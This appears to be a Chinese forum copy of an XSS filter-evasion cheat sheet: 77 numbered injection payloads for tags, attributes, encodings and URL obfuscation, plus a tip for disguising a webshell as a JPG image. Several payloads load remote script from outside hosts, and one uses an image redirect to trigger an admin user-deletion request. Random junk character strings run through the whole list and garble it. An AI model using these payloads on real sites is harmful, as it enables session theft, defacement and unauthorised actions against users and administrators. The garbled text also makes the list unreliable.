跨站图片shell( i. I# Q: `4 ~6 z: D7 d2 W3 V
XSS跨站代码 <script>alert("")</script>
) H5 }; s Q- Y4 H: h/ b5 I7 t( m' a) j
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
, D0 u3 z5 \4 X# j8 L* u6 W* T
: i- K# _3 v2 z. A' p
P W7 R* Q. u+ T/ J" M5 [( B) {6 ?2 {0 H
1)普通的XSS JavaScript注入
: \9 h- {0 i9 v# h. O<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>8 g1 }. c: L+ R
" L, W( X/ l) s0 S& w! @, m4 \(2)IMG标签XSS使用JavaScript命令' _& d) V7 X0 Q" v
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
2 x$ Y" n" H# M v% I2 d; G# H/ g8 Q* G. E" f/ m* L- |6 e# V+ X
(3)IMG标签无分号无引号( W+ S: O) P) t/ ? {+ X
<IMG SRC=javascript:alert(‘XSS’)>& A: a6 W. E. k
+ s- ?( M7 o* z/ M6 _2 ? D9 s(4)IMG标签大小写不敏感
6 D2 q& p. F4 v4 H$ |2 ]<IMG SRC=JaVaScRiPt:alert(‘XSS’)>, Z: w" T: z9 B2 }; O4 I- E
2 \( u2 S; D+ k/ \0 v& l$ @$ d0 r(5)HTML编码(必须有分号)' O% Q- U: X7 t
<IMG SRC=javascript:alert(“XSS”)>
/ R# s) v1 p0 m5 c* Z/ `/ y3 N* `1 h) @6 ^' ^) }9 q! W! X! P
(6)修正缺陷IMG标签( m) Y' v7 f# T
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
4 k: P0 U0 B0 X, g3 i# [% ~4 w; Z% o9 l* K0 j9 F
(7)formCharCode标签(计算器)
) }2 I6 J" R7 ?! T& ]# Q<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> Q# d3 z4 n0 N, g- q
5 j a, S! |$ y(8)UTF-8的Unicode编码(计算器)
# K* R8 s& S, s: B: i) f<IMG SRC=jav..省略..S')>' B7 m# n4 |* Z) S9 y
! |- `' k, h U
(9)7位的UTF-8的Unicode编码是没有分号的(计算器), v& B5 V! n6 v& ?
<IMG SRC=jav..省略..S')>: u: K6 Y6 Z$ o8 N% Q6 ^6 n2 r
7 ^7 j, ] l: E; ~/ ~; x(10)十六进制编码也是没有分号(计算器)/ u. m/ V/ J, @, |
<IMG SRC=java..省略..XSS')>* Q7 F9 w9 ^9 y; Z
. {% n# _" t7 l7 f6 z& w d
(11)嵌入式标签,将Javascript分开
}3 J; \; W9 ^, k! C8 V<IMG SRC=”jav ascript:alert(‘XSS’);”>
9 n8 ] x' b! `# N( q
* T. `4 p" L4 s/ \% a9 M. N(12)嵌入式编码标签,将Javascript分开
* I+ u6 b& D6 _+ ?0 _. C' r<IMG SRC=”jav ascript:alert(‘XSS’);”>) L8 A; _7 L& Q r; G. G, a
9 c# o) W( x: N& Y. H(13)嵌入式换行符" b4 K; R1 o1 x4 r4 p$ W
<IMG SRC=”jav ascript:alert(‘XSS’);”>
6 m/ Q) {# y7 C) K) i! x( b. V) ^: t& w, c! h# D0 C. z" ~& D1 G
(14)嵌入式回车
7 ?0 u! }7 Q) W# g" H7 w& M<IMG SRC=”jav ascript:alert(‘XSS’);”>
* ?) M: o( x* S# L0 V) G4 a' _
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
* q9 ?2 v4 } T6 l3 T<IMG SRC=”javascript:alert(‘XSS‘)”>
: J" ?' ?2 Z* l1 L1 @! Z& M4 A. [& @ E
(16)解决限制字符(要求同页面)
4 d% j7 C4 ]9 z% `3 [$ F<script>z=’document.’</script>
3 O* A# `! K1 x; b6 C2 @# K% `<script>z=z+’write(“‘</script>
$ x( ?8 T- N8 j1 \* Y3 P6 W<script>z=z+’<script’</script>7 D0 c* j( {" A, F
<script>z=z+’ src=ht’</script>+ L2 X! y4 i: ?" M
<script>z=z+’tp://ww’</script>
9 F1 J' V% h. p0 u<script>z=z+’w.shell’</script>
) l) J6 N: L( A5 ?# x i( k<script>z=z+’.net/1.’</script>; @0 Y, X$ n! W% J! D) u' ?* G3 U$ D
<script>z=z+’js></sc’</script>
+ v5 U% s. {+ ^<script>z=z+’ript>”)’</script>; x8 U S' H/ Q% R& v: ?+ z
<script>eval_r(z)</script>7 J# m) m% R7 v0 @/ V" X& c; u6 s' V, s' I
, E( d5 b' {8 A' p, F(17)空字符
, j5 t' ]) b; y+ D+ x# sperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
" c `6 n/ f2 ~5 n( y1 t7 u" O" D$ G1 k5 B+ x
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用' L+ @6 A5 c1 L6 X" G
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out h1 S( ]4 V( w6 G" Q I. q
; ~. Q0 o1 ~0 o" b! B* ~' i
(19)Spaces和meta前的IMG标签3 G; g- h8 N) M/ a$ e
<IMG SRC=” javascript:alert(‘XSS’);”>
. O0 w# R, ^6 v8 v% r/ r! c w% y; T
(20)Non-alpha-non-digit XSS( @. N& T- M' l7 [2 i+ @+ `
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
% g4 y* \4 ~/ P0 X
5 g( _) x1 j' Z2 `(21)Non-alpha-non-digit XSS to 2
6 G+ g; {/ Z, T2 r$ Z<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
* Q% j1 d1 E' S# b' _" S+ N I: w; s: R3 T! B/ {: s& c$ x
(22)Non-alpha-non-digit XSS to 3
/ k* o" S$ V6 \$ s5 r6 v+ u<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>5 |/ [6 o) N4 {5 |6 {, r
C) R% ~# N" R7 j; ~# h9 [
(23)双开括号
$ P0 {& F1 C( X# O; C* u/ t<<SCRIPT>alert(“XSS”);//<</SCRIPT>
9 [: m4 Q$ c; F
3 I' h; T" S' a# p7 V1 p(24)无结束脚本标记(仅火狐等浏览器). j5 s" i5 R+ l
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>( P8 P% x* N; S" ]) k9 K
9 W6 Z: ]( z9 _* y( P. r% d(25)无结束脚本标记2
6 I2 j& ?+ J i @7 `5 ?! S; E<SCRIPT SRC=//3w.org/XSS/xss.js>: I* }; P! a! O: a. }
, L, G. \8 w6 {2 X6 T& u, S& y(26)半开的HTML/JavaScript XSS
" c8 z! v1 n7 l3 T$ ` J<IMG SRC=”javascript:alert(‘XSS’)”, |: V- t9 h/ i" B$ Y
9 z+ h- Q: [: _% p" I0 ?(27)双开角括号( N" s4 }, k) K" S' q
<iframe src=http://3w.org/XSS.html <
& N2 T2 r. b2 P( G& k: Z/ I) j3 L
(28)无单引号 双引号 分号
" B7 ~8 r: K5 g8 H1 ?; N% }7 p( g<SCRIPT>a=/XSS/+ ^9 ?7 X# Z) N
alert(a.source)</SCRIPT>
$ p0 `6 S r; r2 [" U* v6 u) @
, |0 T( s- r7 i) e1 N8 e& f(29)换码过滤的JavaScript
8 ^1 r1 R0 a9 f\”;alert(‘XSS’);//
0 T% c( ] d6 ]- N& |- O5 d! h/ C) s t! v
(30)结束Title标签
5 v G" p9 Y: O( B8 G</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>0 D, y3 P- v! [$ `* c1 t
+ i$ ^8 s! ~6 J: \+ h(31)Input Image5 Z, S ~8 W) ^3 k, c1 z
<INPUT SRC=”javascript:alert(‘XSS’);”>
9 x+ h7 D- }$ o' m$ W9 N3 ]: Y {7 e0 y8 G/ Z. H Q* L
(32)BODY Image5 ^5 G: G- t+ ~0 I- }; M
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
7 M- C) P U0 Q. N+ O X }; S# U) w/ U$ p
(33)BODY标签
5 F4 K- I$ [ G; A/ j6 ~" G& c<BODY(‘XSS’)>
1 r0 \/ P+ W! K) R$ N( v2 q) ]( w) b& x& O( j* {
(34)IMG Dynsrc
% R6 B: [1 j6 y6 r, N- O; u<IMG DYNSRC=”javascript:alert(‘XSS’)”>
" _2 x5 [8 j) [6 I
- p2 d* A. B, ?. f% C(35)IMG Lowsrc
5 C/ Z5 [9 c9 K. I<IMG LOWSRC=”javascript:alert(‘XSS’)”>5 x5 h. l$ T8 c
! \5 D7 i$ q* [7 u
(36)BGSOUND) A7 M2 C! q2 v1 U$ N$ m
<BGSOUND SRC=”javascript:alert(‘XSS’);”>* \9 ]7 d8 v3 |! B! p
% B/ \3 M* c, e. u$ {(37)STYLE sheet# b8 o( W! a/ q: @2 I; U: J
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
& E2 ^% N n6 b0 c* ?
/ |" D8 ?+ e5 e) h2 z(38)远程样式表" Z G1 {; Q9 {: J* P5 S
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>5 L7 d" Y& o0 b7 W
/ N+ c1 @4 e# H: a(39)List-style-image(列表式)
; u9 @; @* Q* [$ D" }<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
3 T4 e) o# v. j9 L! c/ R( W6 a" R' e `0 ]+ ~
(40)IMG VBscript3 [5 g9 s* ?; Z& a+ E; G( Z
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS7 C+ `# ?. Z, L6 L
2 f) q9 x# \/ P/ P; a- Q0 e% ~
(41)META链接url
: c) o! k) k) `6 o( |<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
: h) P6 j- \( q, X' ^
+ C+ `0 p( a4 u0 m(42)Iframe% N' a. ^( z$ i& a% V- w! }
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>9 K2 [% D; V" j
(43)Frame8 _! R8 l. W. c: j$ h
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
+ F! C+ y- i4 `2 e: ~
$ d: P7 b* g( y7 y! _(44)Table1 f! h! l: W6 R* @ \
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
$ V; F/ K7 U7 O8 b$ n8 F1 i Z4 Q4 S2 f9 o6 _- Z
(45)TD
9 `- ]3 Z* A( X<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>8 g1 q# g$ L6 z! T2 p
2 M1 @8 r: N$ U" v7 q3 d% |(46)DIV background-image
4 T3 s1 h: f: K6 i; K. s4 U<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>8 C' m, C# U7 u4 \) e
- O m' n8 K! x m7 Z0 B0 G1 U& z
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)3 I! {+ C; B3 i) T
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>; a) a* o% X. w) |. c: F J( Y
4 W; m4 \5 ^( g9 |( ?* @3 R
(48)DIV expression: {% o7 z# a1 A/ t1 y
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>1 d" y) Z0 f5 l* L3 U+ ]/ Z1 e
4 O' E+ G# T7 [5 L' N& i8 b7 Y(49)STYLE属性分拆表达
: H: T% X5 I. u0 X1 d<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
& H# z3 [9 I+ X7 u; l# j2 M% T+ _0 X- q# ]
(50)匿名STYLE(组成:开角号和一个字母开头)
3 }$ t, J2 z/ G: ?! m<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
5 N# z2 `1 V* x1 b( J, X6 c
" R% b0 G. p l) ?# g$ C4 l(51)STYLE background-image
- W9 |4 Q6 j7 s* O( q6 _; Q7 D0 _<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>) t5 ?4 ~/ W9 m
* _2 L2 c/ w+ |$ D(52)IMG STYLE方式 {' j0 k& _, }7 i5 P
exppression(alert(“XSS”))’>
; c0 E y9 c: |9 i' }( H$ k
% T" a6 `$ P! d* b0 _(53)STYLE background, H; ]$ f4 U9 B2 ]1 k
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
, [! M6 A& w2 _$ a* E, s/ ~+ }4 R% M7 O: Y7 s# Q" s9 q7 b7 ~
(54)BASE- ]* X0 W! G# J+ r0 a2 a6 z
<BASE HREF=”javascript:alert(‘XSS’);//”>
/ ^/ z8 v- k# `' i8 M% _& w3 z4 O: @. v9 k) H, g* r: y$ P! E( ~
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
8 T# ?0 ]. M* a4 i7 ^<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>4 Z9 K6 U6 m' w. t9 {6 K7 c4 \
, F8 X2 c6 `5 t D' o(56)在flash中使用ActionScrpt可以混进你XSS的代码- S* S9 x6 X3 u7 u. u% Q4 e2 \, l5 u
a=”get”;
5 f3 ^4 k* C3 a1 Z" Ob=”URL(\”";* U. E; e5 L# N% g1 |
c=”javascript:”;2 l$ b+ N& o# `3 y) W3 y
d=”alert(‘XSS’);\”)”;- }6 v& ~1 _/ u. M5 K
eval_r(a+b+c+d);
% j- D$ u! k i% L6 S
* x1 n4 q8 c3 v5 ^(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上* N7 g' t( Y; \3 p
<HTML xmlns:xss>
! ?7 w/ o5 O4 B/ F7 [0 \% U<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
$ O8 l* L$ S8 a8 Q<xss:xss>XSS</xss:xss>
1 c1 N3 J/ Q; q* ~' C4 I/ l</HTML>
2 o- |3 D: h; Q/ Y
. t! |/ v" l- o3 o9 b% T(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
: W* N, u" `3 L- Q* T% m% `<SCRIPT SRC=””></SCRIPT>* ^3 D; _ w2 _* B0 L% h
- ~( N4 s$ [3 b: i9 |8 q
(59)IMG嵌入式命令,可执行任意命令
' b7 n: z8 M% J7 P5 G6 O<IMG SRC=”http://www.XXX.com/a.php?a=b”>( ~, {" p! g* F' g9 T* l" O: W1 _
# F) d0 v$ p- w. V( c/ e
(60)IMG嵌入式命令(a.jpg在同服务器)
7 p# R5 c+ s @: _7 [( q f: kRedirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser0 D& ^/ f" j7 U3 S: V0 a
: f0 I: @& e" ^' P; d) s, W/ {( H
(61)绕符号过滤) x8 `- K' Z/ n6 }2 p( o
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>0 I& r. w k) V
$ M+ R! O0 Y0 a$ _; F7 @
(62). l, J- _. N0 n: C
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>, D6 S! v8 R$ m7 U
' R$ b& t% V7 b(63), [! p/ d7 g1 q" z- }
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
9 F' t1 Y& d' B a: [0 i7 j) E; i3 O8 b
(64)
; ^& B8 \, E( }% q<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>6 c* D0 s. s' Y7 T: Z6 s
1 c4 n3 b; s4 x$ `
(65); Q1 z0 Z/ b/ j+ R& Z# Z- ~; d2 S8 i
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
7 t. @" m, G9 T W: T+ a
4 M8 y5 Q) [1 {9 C+ V0 D/ X Y(66)9 D7 q, x- [4 j8 F5 i$ C
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>1 @$ y' Z4 R" x
6 q$ W4 R+ ]+ A7 G1 J; P! |& ?(67)
7 o b7 t1 o6 q+ b6 o! R0 J<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>7 F. Y# u5 I, S6 n% |- G% p# V
5 V3 g5 k9 O* A* M& x; v% W* ~! M
(68)URL绕行; R% ^0 ^+ Q2 l- [
<A HREF=”http://127.0.0.1/”>XSS</A>, V. x( o0 c3 Y" H5 O, b
1 i/ d- B% d2 v
(69)URL编码
6 B, u, m+ p8 P2 j<A HREF=”http://3w.org”>XSS</A>
1 i) F; o# b" o" {( z6 f( l, L
% I' x1 \ e8 m# B; R(70)IP十进制% F% `( Q* P' e6 @% k
<A HREF=”http://3232235521″>XSS</A>
& a; b. ^; P- K- j+ S; m; t/ r6 c1 N# l0 c+ n# b1 R1 d; C+ n) [
(71)IP十六进制3 \8 P! w! `6 v
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
$ d0 }. v4 y7 o$ m
% Q" a5 |- z d/ I) \(72)IP八进制
" H+ i/ k6 `. E; w' y# l3 C9 J/ p<A HREF=”http://0300.0250.0000.0001″>XSS</A>
; n4 T/ e$ O# ` U2 v9 s5 r# ^& ?7 @- U/ d9 i+ r
(73)混合编码
1 s" J, K, X: u! Z. Z" }+ S" l<A HREF=”h) i0 W+ ~8 f+ z8 Y1 W1 r1 E
tt p://6 6.000146.0×7.147/”">XSS</A>
# m$ H+ A. `2 Q# B7 q5 r5 p% J5 b- q) o! q2 m+ @2 x: \" V
(74)节省[http:]: Z5 L; o$ h; z8 g, f
<A HREF=”//www.google.com/”>XSS</A>& o5 }% v5 a6 ^. v9 O1 X& L& s0 T
( F6 o6 O0 ]/ `' ~* V4 q
(75)节省[www]( R% s# O! Y3 v" T
<A HREF=”http://google.com/”>XSS</A>' i4 V/ a: z" u8 E* j+ f( O2 o
U& q; k% N! ](76)绝对点绝对DNS
) }" y& \. R% S<A HREF=”http://www.google.com./”>XSS</A>
( D8 t% e2 J& K1 m. _( ?) ^# _' c" p: n
(77)javascript链接7 d& U+ I5 p$ H* }- k) m
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
, w0 Z7 q$ f% X$ I |